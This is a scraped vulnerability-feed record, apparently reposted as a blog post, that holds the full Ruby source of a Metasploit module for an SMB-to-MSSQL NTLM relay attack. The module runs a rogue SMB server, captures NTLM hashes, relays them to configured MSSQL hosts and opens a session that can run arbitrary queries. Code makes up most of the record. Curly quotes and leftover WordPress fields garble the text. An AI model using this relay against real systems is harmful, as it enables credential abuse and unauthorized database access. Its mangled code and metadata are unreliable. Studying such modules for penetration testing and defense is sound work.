{“lastseen”:”2025-11-24T19:04:38″,”description”:”This module supports running an SMB server which validates credentials, and then attempts to execute a relay attack against an MSSQL server on the configured RHOSTS hosts. If the relay succeeds, an MSSQL session to the target will be created. This can…”,”published”:”2025-11-24T18:58:10″,”modified”:”2025-11-24T18:58:10″,”type”:”metasploit”,”title”:”Microsoft Windows SMB to MSSQL Relay”,”source”:””,”references”:””,”id”:”MSF:AUXILIARY-SERVER-RELAY-SMB_TO_MSSQL-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Auxiliary\\n include Msf::Exploit::Remote::SMB::RelayServer\\n include Msf::Auxiliary::CommandShell\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Microsoft Windows SMB to MSSQL Relay’,\\n ‘Description’ =\\u003e %q{\\n This module supports running an SMB server which validates credentials, and then attempts to execute a relay\\n attack against an MSSQL server on the configured RHOSTS hosts.\\n\\n If the relay succeeds, an MSSQL session to the target will be created. This can be used by any modules that\\n support MSSQL sessions, like `admin\/mssql\/mssql_enum`. The session can also be used to run arbitrary queries.\\n\\n Supports SMBv2, SMBv3, and captures NTLMv1 as well as NTLMv2 hashes.\\n SMBv1 is not supported – please see https:\/\/github.com\/rapid7\/metasploit-framework\/issues\/16261\\n },\\n ‘Author’ =\\u003e [\\n ‘Spencer McIntyre’\\n ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘Actions’ =\\u003e [\\n [ ‘CREATE_MSSQL_SESSION’, { ‘Description’ =\\u003e ‘Create an MSSQL session’ } ]\\n ],\\n ‘PassiveActions’ =\\u003e [ ‘CREATE_MSSQL_SESSION’ ],\\n ‘DefaultAction’ =\\u003e ‘CREATE_MSSQL_SESSION’,\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [ CRASH_SAFE ],\\n ‘Reliability’ =\\u003e [ REPEATABLE_SESSION ],\\n ‘SideEffects’ =\\u003e [ IOC_IN_LOGS, ACCOUNT_LOCKOUTS ]\\n }\\n )\\n )\\n\\n register_options(\\n [\\n Opt::RPORT(1433)\\n ]\\n )\\n\\n register_advanced_options(\\n [\\n OptBool.new(‘RANDOMIZE_TARGETS’, [true, ‘Whether the relay targets should be randomized’, true])\\n ]\\n )\\n end\\n\\n def relay_targets\\n Msf::Exploit::Remote::SMB::Relay::TargetList.new(\\n :mssql,\\n datastore[‘RPORT’],\\n datastore[‘RHOSTS’],\\n datastore[‘TARGETURI’],\\n randomize_targets: datastore[‘RANDOMIZE_TARGETS’]\\n )\\n end\\n\\n def check_options\\n unless framework.features.enabled?(Msf::FeatureManager::MSSQL_SESSION_TYPE)\\n fail_with(Failure::BadConfig, ‘This module requires the `mssql_session_type` feature to be enabled. Please enable this feature using `features set mssql_session_type true`’)\\n end\\n end\\n\\n def run\\n check_options\\n\\n start_service\\n print_status(‘Server started.’)\\n\\n # Wait on the service to stop\\n service.wait if service\\n end\\n\\n def on_relay_success(relay_connection:, relay_identity:)\\n print_good(‘Relay succeeded’)\\n session_setup(relay_connection, relay_identity)\\n rescue StandardError =\\u003e e\\n elog(‘Failed to setup the session’, error: e)\\n end\\n\\n # @param [Msf::Exploit::Remote::SMB::Relay::NTLM::Target::MSSQL::Client] relay_connection\\n # @return [Msf::Sessions::MSSQL]\\n def session_setup(relay_connection, relay_identity)\\n mssql_session = Msf::Sessions::MSSQL.new(\\n relay_connection.sock,\\n {\\n client: relay_connection,\\n **relay_connection.detect_platform_and_arch\\n }\\n )\\n domain, _, username = relay_identity.partition(‘\\\\\\\\’)\\n datastore_options = {\\n ‘DOMAIN’ =\\u003e domain,\\n ‘USERNAME’ =\\u003e username\\n }\\n start_session(self, nil, datastore_options, false, mssql_session.rstream, mssql_session)\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/auxiliary\/server\/relay\/smb_to_mssql.rb”,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/server\/relay\/smb_to_mssql\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-11-24T19:04:38″,”description”:”This module supports running an SMB server which validates credentials, and then attempts to execute a relay attack against an MSSQL server on the configured…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-27432","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n